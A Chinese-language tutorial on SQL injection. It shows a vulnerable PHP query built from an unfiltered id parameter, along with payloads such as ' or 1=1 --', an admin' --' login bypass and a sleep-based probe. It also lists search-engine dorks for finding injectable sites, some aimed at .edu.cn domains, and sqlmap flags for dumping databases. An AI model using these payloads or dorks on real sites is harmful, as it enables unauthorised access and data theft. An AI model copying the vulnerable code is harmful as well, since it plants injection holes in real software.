SQL注入
sql注入是web应用后台数据处理文件对用户输入数据没有严谨性的判断和过滤。攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加构造特殊SQL语句,在管理员不知情的情况下实现越权的操作。从此实现获取、修改、删除数据库信息,爆库、和数据库偷取,甚至提取服务器超级管理员的权利。SQL注入漏洞在2013年至2017年期间在OWASP TOP10排行榜为榜首。
注:期间利用MySQL语句进行详细讲解
注入点SQL注入点通常在前端页面控件和后端数据库有链接的地方。
在web平台中注入点通常存在于URL地址栏,用户登陆页、商品搜索控件、商品选择分类控件、商品信息页、用户留言板等和数据库有联系的位置。
原理
这是一段后台处理SQL语句的PHP代码
php
if(isset($_GET['Submit'])){
//retrieve data
$id=$_GET['id'];
$getid= "SELECT firset_name,iast_name FROM users WHERE user_id='$id'";
$result=mysql_query($getid) or die('' .mysql_error().'
');
$num=mysql_numrows($result);
$i=0;
?>
'$id'这个变量是我们要输入的语句,构造语句只能在这块进行构造,其他语句是不能看见也不能动的。
数据库中有一个字段为ID字段这个字段的值从1——无限,而$id这个值就是数据库ID字段的值,这个ID字段后面对应的其他字段值是本用户的其他信息。
如果让$id的值等于 ' ,如果数据库ID字段的数据类型是整数类型肯定会报语法错,如果数据库ID字段的数据类型是字符型,那就要看这个字段中是否有单引号这个值,有的话web页面进行信息改变,如果没有还是会报错。
其实要想获取一个库信息,表信息,字段信息有直接查询,联合查询,布尔查询,都可以获取需要知道的信息。
上面的PHP代码中有 select firset_name,iast_name from users where user_id='1'; 这个语句在MySQL中输入结果是获取ID为1的firset_name和iast_name的值,但是它代码中没有对ID值进行说是必须输入什么值,那这会导致用户会输入' or 1=1 --'
select firset_name,iast_name from users where user_id=' ' or 1=1 --' ';
这样的语句在SQL中属于正常语句,攻击者利用' or 1=1 --'中第一个单引号闭合了原有的单引号利用--'注释了后边的单引号,它可以输出这个表中所有的有关值,这样就达到攻击者在本不应该知道其他数据的情况下知道了。
手动注入通过浏览器搜索相关可能存在注入的页面:
1.通过Google搜索 inurl:.php?id= inurl:.jsp?id= inurl:.asp?id= inurl:/admin/login.php inurl:.php?id=intitle:主页 2.通过百度搜索 inurl:news.asp?id=site:edu.cn inurl:news.php?id=site:edu.cn inurl:news.aspx?id=site:edu.cn
传入SQL语句可控参分为两种
整形:?id=1
字符型:?id="1"
进行简单测试看是否存在注入可能:
输入 ?id=' 。正常显示页面可能不存在注入性,但是不一定。
解释:输入一个单引号判断后台语句对单引号是否进行了过滤,因为SQL都是利用单引号进行构造SQL语句的。
输入 ?id='真条件' and sleep(5) --任意值 。页面执行5秒钟,说明此页面可能含有注入性。
解释:输入后后台可能只对单引号进行了过滤,我们还是可正常利用单引号构造特殊SQL语句对web应用进行SQL注入。至于后面的“--任意值”是对后面的一切进行注释。
在union注入中后面构造的语句中的字段数量要和前面的字段数量一样多否则会报错,如果不知道前面字段数量可以输入select 1,2,.....来猜字段,输入select 1直接进行查询不会出错,如果要查的字段比较多可以利用拼接查询。
常用SQL注入语句
' or 1=1 --' #爆出数据库其他信息 admin' --' #可直接越过登录页面,也称PHP万能密码
自动化注入sqlmap使用Python写的一个自动化SQL注入工具,他还可以自动用谷歌搜索可以注入的页面。
下面是sqlmap的简单说明
-p #指定URL中的注入点 --batch #全程自动化 --users #所有用户 --current-user #当前用户 --dbs #所有库 --current-db #当前库 -D "database_name" --tables #database_name库中有哪些表 -D "database_name" -T "table_name" --columns #database_name库table_name表中有哪些字段 --dump-all #显示整个web库中所有数据库和所有库的表 --dump-all --exclude-sysdbs #排除系统库 -D "database_name" -T "table_name" --dump #显示字段 -D "database_name" -T "table_name" -C "user,name" --dump #只显示user和name字段信息
--cookie="cookie" #带入cookie值进行登录注入